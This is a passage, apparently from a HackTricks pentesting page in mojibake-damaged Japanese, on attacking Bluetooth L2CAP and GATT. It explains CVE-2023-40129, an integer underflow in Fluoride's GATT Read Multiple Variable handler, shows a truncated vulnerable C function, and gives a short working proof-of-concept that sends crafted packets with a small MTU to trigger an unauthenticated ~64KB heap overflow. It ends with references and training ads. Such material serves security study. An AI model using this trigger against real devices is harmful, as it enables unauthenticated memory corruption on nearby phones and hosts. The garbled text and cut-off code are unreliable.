¬éããŸãïŒäŸ: SDP 0x0001, RFCOMM 0x0003, BNEP 0x000F, AVCTP 0x0017/0x001B, AVDTP 0x0019, ATT/GATT 0x001FïŒããµãŒãã¹ã¯æ¬¡ã®æ¹æ³ã§ç»é²ãããŸã:
```c
uint16_t L2CA_Register2(uint16_t psm, const tL2CAP_APPL_INFO& p_cb_info,
bool enable_snoop, tL2CAP_ERTM_INFO* p_ertm_info,
uint16_t my_mtu, uint16_t required_remote_mtu,
uint16_t sec_level);
- BlueBlue ãã¬ãŒã ã¯ãŒã¯ã¯ Scapy ããŒã¹ã® L2CAP/ATT crafting ãå¯èœã«ããŸãïŒBlueBorne l2cap_infra äžã«æ§ç¯ïŒãäŸ:
acl = ACLConnection(src_bdaddr, dst_bdaddr, auth_mode='justworks')
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=672)
gatt.send_frag(p8(GATT_READ)+p16(1234))
print(gatt.recv())
- CVE-2023-40129 (Fluoride GATT): Read Multiple Variable response builder ã«ããã integer underflow ã«ãããMTU ãå¯å€é·èŠçŽ ãåãè©°ãã+2 length field ãèæ ®ãããªãå Žåã«çŽ64KB ã® heap overflow ãåŒãèµ·ããå¯èœæ§ããããŸãã
æ ¹æ¬åå (GATT Read Multiple Variable)
```c static void build_read_multi_rsp(tGATT_SR_CMD* p_cmd, uint16_t mtu) { uint16_t ii, total_len, len; uint8_t* p; bool is_overflow=false; len = sizeof(BT_HDR) + L2CAP_MIN_OFFSET + mtu; BT_HDR* p_buf = (BT_HDR*)osi_calloc(len); p_buf->offset=L2CAP_MIN_OFFSET; p = (uint8_t*)(p_buf + 1) + p_buf->offset; *p++ = GATT_RSP_READ_MULTI_VAR; p_buf->len=1; for (ii=0; ii- æå°ã®æªèªèšŒããªã¬ãŒïŒsmall MTU ã 4çªç®ã® attribute ã§ã¢ã³ããŒãããŒã匷å¶ããïŒ:
# GATT_REQ_READ_MULTI_VAR (0x20), MTU=55
acl = ACLConnection(interface, bdaddr)
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=55)
pkt = b'\x20' # opcode
pkt += p16(9); pkt += p16(9); pkt += p16(9); pkt += p16(9)
gatt.send(pkt)
# On 4th insert: p_buf->len=55 (1 + 3*(16+2)), total_len=73 -> len=16-(73-55)=-2 -> ~64KB overwrite
黿°éä¿¡ / Mobile-Core (GTP) Exploitation
åèæç®
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Network Security Assessment: Know Your Network (3rd edition)
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood
- https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Paint it blue: Attacking the bluetooth stack (Synacktiv)
- BlueBorne L2CAP testing infra (l2cap_infra)
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


